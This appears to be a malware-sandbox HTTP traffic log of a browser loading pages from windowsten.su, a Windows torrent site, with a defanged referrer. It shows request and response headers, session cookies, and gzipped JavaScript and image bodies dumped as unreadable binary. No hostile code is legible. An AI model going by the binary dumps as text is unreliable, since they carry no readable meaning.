ETag: W/"1fc28b6-3cf-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

GET /templates/torrent-windows/js/slider.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/javascript

Last-Modified: Mon, 17 Nov 2014 17:14:56 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"546a2d10-a264"

X-Powered-By: PleskLin

Content-Encoding: gzip

163e.............=kw.6... .6;$c...l....t.d.sf.......w.DB.m..I.v...>. ..@P.....i#......}...xv.^......#z.......(..~..1ZFq...yy...4..M&n........I:.S..\...8a..I......7'.......8..........^D....Z..tzr2Bo.......C...=..|.;...,v..p5YGwi4._..%a...0.C.."sF'r.."k...#..... ?.n..H.O.-...-.z..U...7rv.....".......X....t.....$.W.........{......h1.h?.C..V#]....?......6...Y.]..5.....#D.nq.v..>q.qt....$>A.....8!?.i..mF..:...5.F...ze..X..Y.|`.K...o..E.nC..!....6.J ...v.WqD.......v....%..2....]...\..kd.8.c=...%...m...D....XK?$^...t...a...Vg.$!....@?...^..Pr... ./&....v.v.|......K.'#....Sb..?..r..zg(..[?.U........*.....K/v............#.5'.Qp)?[VJ.......9.....w._.......g.L...."nZ#ls}.p.......pj...S.(..%....".`2...o...x..A....4....?....Y...H.v..p.p.=..H.Tp.(..O....t.0..@.z.wt...*2.;`~.n...Q....SO....x$.tS....T.r.s....^P.u..(.x.....7.w ...K..[B.3..TD......l........1. .c........m....Tdn.RgB.."..9u..^..H!;..G[.f. z].. ss.=b....P5.>Q.....!sI.|...>.....w. ....`@Q..O.....~x-}I{.j....^.$....B.6.A]KF.I.F.....O..c.......b..O...0..c3...K..R...m.v.S]..`~..h..\^.^..N...e..A."l~.....T.p^..A...Q.z....x....I..{.....Q(Y......X.t&...R............h.!y[>......Ih...k4F.k.8..W..Z.."s.[.....z...w....KQO..6k..k.....&....&.....@r.V...,R..e;~b.T....$\Vg...vT../<....ier..?....5.Y.,...*...bx&"...V..... ..xK{.5z...@6.......4)...]..>......a....z....J..v ....%.....jlm..Mj_....Yo.<...Y.f......\..G&...Q...G(..I^..<...u...)r&E1....RG.W=M...-.5.MT..$97`,1....b.O.4yc....iW.....$V{..k..#..mq..N.:{.A.\2?2&.pP.. ......y$....6..G........T..4%./

<<< skipped >>>

GET /templates/torrent-windows/images/header_h_bg.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 2816

Last-Modified: Mon, 17 Nov 2014 17:14:50 GMT

Connection: keep-alive

ETag: "546a2d0a-b00"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR..............L'.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep_24.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 2804

Last-Modified: Mon, 17 Nov 2014 17:14:53 GMT

Connection: keep-alive

ETag: "546a2d0d-af4"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...............d.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep_25.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 2805

Last-Modified: Mon, 17 Nov 2014 17:14:53 GMT

Connection: keep-alive

ETag: "546a2d0d-af5"

X-Powered-By: PleskLin

Accept-Ranges: bytes

<<< skipped >>>

GET /engine/data/emoticons/lol.gif HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/gif

Content-Length: 690

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Sun, 09 Aug 2015 14:39:03 GMT

ETag: "7951e8-2b2-51ce1d493487f"

Accept-Ranges: bytes

X-Powered-By: PleskLin

GET /templates/torrent-windows/images/arrow_13.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 3148

Last-Modified: Mon, 17 Nov 2014 17:14:47 GMT

Connection: keep-alive

ETag: "546a2d07-c4c"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............Vu\.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/arrow_15.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 2798

Last-Modified: Mon, 17 Nov 2014 17:14:47 GMT

Connection: keep-alive

ETag: "546a2d07-aee"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............V(......pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep_21.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 2795

Last-Modified: Mon, 17 Nov 2014 17:14:53 GMT

Connection: keep-alive

ETag: "546a2d0d-aeb"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............."......pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/usr.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 2938

Last-Modified: Mon, 17 Nov 2014 17:14:55 GMT

Connection: keep-alive

ETag: "546a2d0f-b7a"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............Kpl_....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/ico.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 3262

Last-Modified: Mon, 17 Nov 2014 17:14:50 GMT

Connection: keep-alive

ETag: "546a2d0a-cbe"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............;mG.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1442251471_1442249429_6844934.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 11335

Last-Modified: Mon, 14 Sep 2015 17:22:52 GMT

Connection: keep-alive

ETag: "55f7026c-2c47"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(.....H(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(....E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.S...).QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..QE..P.{._C~..?.<E..a..M>...fG.XU....r~..;2....j.tz.n....% 3..(...~.<?.._LD..N^...#|...q.W6;Wf..kS.H...Z.]...-...)s....F......(.E.. ...9o........R..T]3D...Kb... 0 ..{..1..<.hR.._....5Lm....O.9.E......-O..;..{. ...f...:...j...oz.2... .B.I..$~U.?..L..o.t.;{KK\@.....S......9.kb...~.......G..L..t9...V.....L.....d.DYW.EQ....|E.f....... .8..&^d=r=s^..[.mC.:...>M..

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440853024_1440769987_blue-wallpaper_windows_10_hd_2880x1800.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 5321

Last-Modified: Sat, 29 Aug 2015 12:56:29 GMT

Connection: keep-alive

ETag: "55e1abfd-14c9"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......H..(...(..@.QE..QE..QE..QE..QE..QE..QE0.(....QL..(..E.S...).QE..QE..(..@.QE..QE..QE....P.E.P.E.P.E.P.E.P.R.E0.(.....KE..QE0.(....Q@..Q@.z(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(....QH..(...(...(...(...(...(...(...(...(..E.P.E.R...(...(...(...(...(...(...(...).QE..QE..(..`.QE .(....QH..(...(...(...(...(...(...(...(...(...(...(...(...(..E.P.E.R...(...(...(...(...(...(.......QH..(...(..E.R...).QE..(...(...(...(...(...(...(...(..`.QE .(...(....QH.....(.....(...(...(...(..E.P.E.P.E.P.E.R...).QE..(..`.QE..QE .(....Q@..Q@..Q@..Q@..Q@..Q@..Q@..QH..(..E.P.E.P.E.P.E.R...).QIK@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..RP..E..(..`.QE..QE..QE..QE..QR.ksp.`..Rz.B..&..j-.EEmZxO..X.tk..........o..............7...k.:..q5>.m..:..<K.k....k..w.M...,.....zWgg

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440090822_1439933104_microsoft-reveals-the-official-windows-10-wallpaper-485311-4.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 12390

Last-Modified: Thu, 20 Aug 2015 17:12:42 GMT

Connection: keep-alive

ETag: "55d60a8a-3066"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..X.S.9.A.h...R.@....)..(.P:..Z.-&.HM..B....L....N....Z.N...b.`i..@.w...R.<..O.Ue.T...jD.K.Q..A%H...B...M0....S..i..O3F{A......Z.!A.v.....b.XSJ0= d...i.h.j^..^..<R..{3.*'.a.&..$54..T......:...*.)G...f....M...:..4t......ZA.\.d.i.zw4.Qa....!......G.F).RR..7..aN.".\n9...1E.q1.0E:... .zRS..?.V..E.b......q...0...b....R..4P;...!J.".*.er.....Y.h.....T(h...1.Hc..r...M5e.......b.D4sR...Y........Q..Rl>.X..9...#./>..n(..A_J,!).4m4.S.(f.....e.."u...d.....*.)2\Q...5*...e 